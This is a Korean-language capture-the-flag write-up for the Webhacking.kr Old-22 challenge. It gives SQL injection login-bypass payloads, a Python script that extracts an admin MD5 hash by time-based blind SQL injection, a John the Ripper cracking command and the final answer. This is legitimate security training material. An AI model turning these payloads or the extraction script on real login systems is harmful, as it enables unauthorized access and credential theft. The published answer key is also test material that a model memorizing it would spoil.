[Solved in under 4 hours 45 minutes]
스윽스윽 난이도 좀 있는 문제 혀 끝만 정도만 대보고 싶어서 들어왔다가 호되게 당한 나의 일기
가보자

그냥 누가봐도 SQL Injection 문제다.
심지어 컬럼명도 정성스럽게 id / pw 라고 알려준다.
일단 코드를 보자

블랙박스 문제이다 고로 코드는 의미없으니 안 올리겠다.

admin / ' or '1'=true #
쉽게 풀릴지 않을거라 예상은 했지만 역시나 먹히지 않았다.
그리하여 일단 테스트로 아이디를 하나 만들었다.

ccr3t / 123
일단 대충 아이디 하나 만들어두고 SQL Injection을 테스트 해보겠다.
여러가지 방법을 시도하다가 ccr3t 로그인 성공시 pw가 MD5로 출력되는 것을 보고 세 가지 경우의 수가 생각났다.
가정 1. pw입력을 받는데 hash화 한다. 즉, id='' and md5('pw') 형식
가정 2. 로그인 성공시 화면에만 pw를 MD5로 보여준다.
가정 3. 가정 1 + 가정 2. 즉, 둘 다
가정 2라면 pw에도 SQL Injection이 먹힐것이고 아니라면 무조건 id에만 먹힌다.
일단 바로 id에 가장 기본적인 SQL Injection을 해보았더니

' or '1'=true #
이전과는 다른 창이 뜨길래 오우 씨 외치며 id에서 만지기로 했다.

' or sleep(3) #
또 여러가지 테스트를 하다가 sleep() 문이 들어가는지 확인하다 되는걸 발견하고 바로 이 문제는? Time-based SQL Injection 이란 것을 직감했다.
코드를 짜기 전에 생각을 해보자.
방금전에 말했던 가정1 or 3 이라고 한다면 pw 컬럼에는 MD5로 데이터가 저장되어 있을거다. 즉, 32자릿수를 찾아야 한다. 또한, MD5는 16진수니 0 ~ f 까지 범위를 잡고 하면 된다.
필자는 16진수인 경우에는 0 ~ f 가 편하고 그 이외에는 ASCII를 이용한다.
페이로드를 짜보자
' or id='admin' and substring(pw,i,1)='0~f' and sleep(3) #
간단하게 말하면 자리수 i에 대해서 0~f까지 삽입해서 똑같으면 3초동안 쉬어라 이런말이다.
이제 파이썬을 만져보자

import requests
import time
url = "https://webhacking.kr/challenge/bonus-2/index.php"
charset = '0123456789abcdef'
result = ''
for i in range(1, 33):
for char in charset:
payload = f"' or id='admin' and substring(pw,{i},1)='{char}' and sleep(3) #"
data = {
'uuid': payload,
'pw': 'anything'
}
start = time.time()
response = requests.post(url, data=data)
found_time = time.time() - start
if found_time > 2:
result += char
print(f"found {i} : {result}")
break
else:
print(f"다시 돌려라.")
틀 조금만 가지고 GPT 형님한테 맡기면 잘 뽑아준다.
그래도 원리는 알고 사용하자. 뇌 녹는다.
보기좋게 32자리 MD5가 뽑혔다.
근데 이걸 이제 어떻게 사용하지?
별지랄 다 하다가 아니 설마 MD5 크랙까지 하게 만든 문제인가? 계속 의심하며 일단 MD5는 단방향 알고리즘이라 복호화를 할 수가 없다. 즉, 엄청난 시간을 가지고 Brute-force를 해야한다는 말이다.
혹시나 지금 이걸 보는 당신. 복호화 알고리즘 개발하면 아이스크림 하나만 사줘라.
anyway
필자가 크랙할때 주로 사용하는 도구 John the Ripper를 사용 하겠다.

admin:6c9ca386a903921d7fa230ffa0ffc153
로 admin.txt 파일 하나 만들어주고
john --format=raw-md5 admin.txt --incremental
비밀번호 길이, 뭐 특수문자 이런거 들어가는지 이런거에 대해 아는정보가 하나도 없으니 열린결말로 설정하고 Brute-force 드가자~~~
근데 아무리 기다려도 안뽑히는거임 예상은 했지만.. 찾아보니 며칠도 더 걸린다는 걸 봤는데..
존버 가자.

admin / wowapple
하... ㅋㅋㅋ 두시간 만에 뽑혔다,, 이걸 좋아야 할 지 말아야 할 지,,
기다리면서도 내내 이렇게 푸는게 맞나? 라며 대가리 싸매고 문제를 계속 봤는데 이거 안되면 이건 지금의 내가 절대 못 푸는 문제라고 단정지었다.
바로 삽입해보자~

?
근데 안되는 거임 예~미 와 ㅋㅋㅋㅋㅋㅋㅋㅋ
그래서 이거 잘 된거 맞나 생각해서 wowapple를 md5로 뽑아보니

똑같은거임.
그러면 이럴리가 없는데? 밤 세고 아침 8시라 그런지 뇌가 지금 신기루가 보이나 싶어서 그냥 덮고 자려고 누웠는데 빡쳐서 다시 일어남 실화임 ㅇㅇ
르네 데카르트 빙의해서 "끝까지 의심하라" 아까전에 ccr3t / 123 만들었던거를 똑같이 John the Ripper를 돌려서 비밀번호가 123가 나온다면 이 문제가 이상하다 합리화 하고 때려치기로 했다.

ccr3t / 123apple
엥? 뭔데저거 John the Ripper가 잘 못 됐나 생각이 들었는데 뒤에 apple이 추가된게 admin이랑 같았다. 뭐지 하고 내가 모르는 사실이 있나 싶어서 MD5에 대해서 찾아봤는데 충격을 먹었다.
salt값이라고 같은 비밀번호인데 다른 해시값을 뽑아내게 하는 MD5 보안방법이다.
이게 뭔 소리냐? 여기서는 apple를 salt값으로 지정했다.
즉, 여기서는 md5(pw+apple) 이런 형태가 되는거다.
그럼 salt값이 다른것도 있으면 못 푸는거 아니냐? 라는 생각이 들겠는데
이거는 Wargame이다 보니 apple로 고정해서 일부로 풀게 만든것이지만 확실히 몇만개 그냥 가챠로 넣고 하면 못 풀지 않을까? 몇만개 두번 돌려보지 않으면 허허
어쨌든 내가 모르는 부분이었기 때문에 겸손하게 공부하며 2시간만에 뽑힌 admin / wowapple에서 apple빼고 wow만 삽입하면?

ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 답 ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
admin / wow
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
감동이 나서 울고싶을 지경이다 x팔
정말 이게 맞나? 싶은 순간이 한없이 왔는데 그래도 풀으니 기분조흐다 히ㅣㅎ
재미지다 내가 모르는 MD5 salt값 지식도 알게되어 매우 기쁘다.
이거한다고 잠도 못 자고 뭔가 싶은데 아 ㅋㅎㅋㅎ 나 이런 문제 좋아하네?
아. 그리고 이건 나중에 글 쓰다가 생각난건데 MD5 크랙 테스트 할때는 그 값을 최대한 짧게 해라 시간 차이 말도 안된다.
Webhacking.kr Old-22 Write-up
이상 보고 끝!